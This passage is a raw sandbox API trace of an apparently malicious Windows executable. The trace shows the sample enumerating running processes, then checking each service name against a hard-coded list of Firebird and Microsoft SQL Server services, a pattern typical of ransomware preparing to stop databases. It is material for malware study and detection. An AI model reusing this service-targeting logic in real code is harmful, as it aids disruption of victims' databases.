hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.445] lstrlenW (lpString="svchost.exe") returned 11 [0183.445] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.445] lstrlenW (lpString="svchost.exe") returned 11 [0183.445] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.445] lstrlenW (lpString="svchost.exe") returned 11 [0183.446] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.446] lstrlenW (lpString="svchost.exe") returned 11 [0183.446] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.446] lstrlenW (lpString="svchost.exe") returned 11 [0183.446] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.447] lstrlenW (lpString="svchost.exe") returned 11 [0183.447] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.447] lstrlenW (lpString="svchost.exe") returned 11 [0183.447] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.448] lstrlenW (lpString="svchost.exe") returned 11 [0183.448] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.448] lstrlenW (lpString="svchost.exe") returned 11 [0183.448] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0183.448] lstrlenW (lpString="spoolsv.exe") returned 11 [0183.449] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.449] lstrlenW (lpString="svchost.exe") returned 11 [0183.449] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0183.449] lstrlenW (lpString="audiodg.exe") returned 11 [0183.449] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0183.450] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0183.450] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0183.450] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0183.450] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0183.451] lstrlenW (lpString="Memory Compression") returned 18 [0183.451] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0183.451] lstrlenW (lpString="sihost.exe") returned 10 [0183.451] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.452] lstrlenW (lpString="svchost.exe") returned 11 [0183.452] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0183.452] lstrlenW (lpString="taskhostw.exe") returned 13 [0183.452] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0183.455] lstrlenW (lpString="msoia.exe") returned 9 [0183.455] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0183.455] lstrlenW (lpString="explorer.exe") returned 12 [0183.455] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0183.456] lstrlenW (lpString="SearchUI.exe") returned 12 [0183.456] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0183.456] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0183.456] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0183.457] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0183.457] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0183.457] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0183.457] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0183.458] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0183.458] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0183.458] lstrlenW (lpString="cmd.exe") returned 7 [0183.458] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0183.459] lstrlenW (lpString="conhost.exe") returned 11 [0183.459] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0183.459] lstrlenW (lpString="mode.com") returned 8 [0183.459] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0183.459] CloseHandle (hObject=0x484) returned 1 [0183.460] Sleep (dwMilliseconds=0x1f4) [0184.020] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b008 [0184.020] EnumServicesStatusExW (in: hSCManager=0x447b008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0184.020] GetLastError () returned 0xea [0184.020] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c28) returned 0x456ac70 [0184.021] EnumServicesStatusExW (in: hSCManager=0x447b008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456ac70, cbBufSize=0x1c28, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456ac70, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0184.021] CloseServiceHandle (hSCObject=0x447b008) returned 1 [0184.022] lstrlenW (lpString="AppXSvc") returned 7 [0184.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0184.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0184.022] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0184.022] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0184.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0184.022] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0184.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.022] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0184.022] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0184.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0184.022] lstrlenW (lpString="Audiosrv") returned 8 [0184.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0184.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0184.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0184.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0184.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0184.022] lstrlenW (lpString="BFE") returned 3 [0184.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0184.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0184.022] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0184.022] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0184.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0184.022] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0184.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0184.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0184.022] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0184.022] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0184.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0184.022] lstrlenW (lpString="CDPSvc") returned 6 [0184.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0184.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0184.023] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0184.023] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0184.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0184.023] lstrlenW (lpString="ClickToRunSvc") returned 13 [0184.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0184.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0184.023] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0184.023] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0184.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0184.023] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0184.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0184.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0184.023] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0184.023] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0184.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0184.023] lstrlenW (lpString="CryptSvc") returned 8 [0184.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0184.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0184.023] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0184.023] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0184.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0184.023] lstrlenW (lpString="DcomLaunch") returned 10 [0184.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.023] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0184.023] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0184.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0184.023] lstrlenW (lpString="DeviceAssociationService") returned 24 [0184.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0184.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0184.023] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0184.024] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0184.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0184.024] lstrlenW (lpString="Dhcp") returned 4 [0184.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0184.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0184.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0184.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0184.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0184.024] lstrlenW (lpString="Dnscache") returned 8 [0184.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0184.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0184.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0184.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0184.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0184.024] lstrlenW (lpString="DPS") returned 3 [0184.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0184.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0184.024] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0184.024] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0184.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0184.024] lstrlenW (lpString="DsmSvc") returned 6 [0184.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0184.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0184.024] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0184.024] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0184.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0184.024] lstrlenW (lpString="DusmSvc") returned 7 [0184.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0184.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0184.024] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0184.024] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0184.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0184.025] lstrlenW (lpString="EventLog") returned 8 [0184.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0184.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0184.025] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0184.025] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0184.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0184.025] lstrlenW (lpString="EventSystem") returned 11 [0184.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0184.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0184.025] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0184.025] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0184.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0184.025] lstrlenW (lpString="FontCache") returned 9 [0184.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0184.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0184.025] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0184.025] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0184.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0184.025] lstrlenW (lpString="gpsvc") returned 5 [0184.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0184.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0184.025] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0184.025] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0184.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0184.025] lstrlenW (lpString="iphlpsvc") returned 8 [0184.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0184.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0184.025] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0184.025] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0184.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0184.025] lstrlenW (lpString="KeyIso") returned 6 [0184.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0184.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0184.026] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0184.026] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0184.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0184.026] lstrlenW (lpString="LanmanServer") returned 12 [0184.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0184.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0184.026] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0184.026] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0184.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0184.026] lstrlenW (lpString="LanmanWorkstation") returned 17 [0184.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0184.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0184.026] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0184.026] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0184.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0184.026] lstrlenW (lpString="lfsvc") returned 5 [0184.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0184.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0184.026] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0184.026] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0184.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0184.026] lstrlenW (lpString="lmhosts") returned 7 [0184.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0184.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0184.026] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0184.026] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0184.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0184.026] lstrlenW (lpString="LSM") returned 3 [0184.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0184.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0184.026] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0184.026] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0184.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0184.027] lstrlenW (lpString="MpsSvc") returned 6 [0184.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0184.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0184.027] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0184.027] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0184.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0184.027] lstrlenW (lpString="NcbService") returned 10 [0184.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0184.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0184.027] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0184.027] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0184.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0184.027] lstrlenW (lpString="netprofm") returned 8 [0184.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0184.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0184.027] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0184.027] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0184.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0184.027] lstrlenW (lpString="NgcSvc") returned 6 [0184.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0184.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0184.027] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 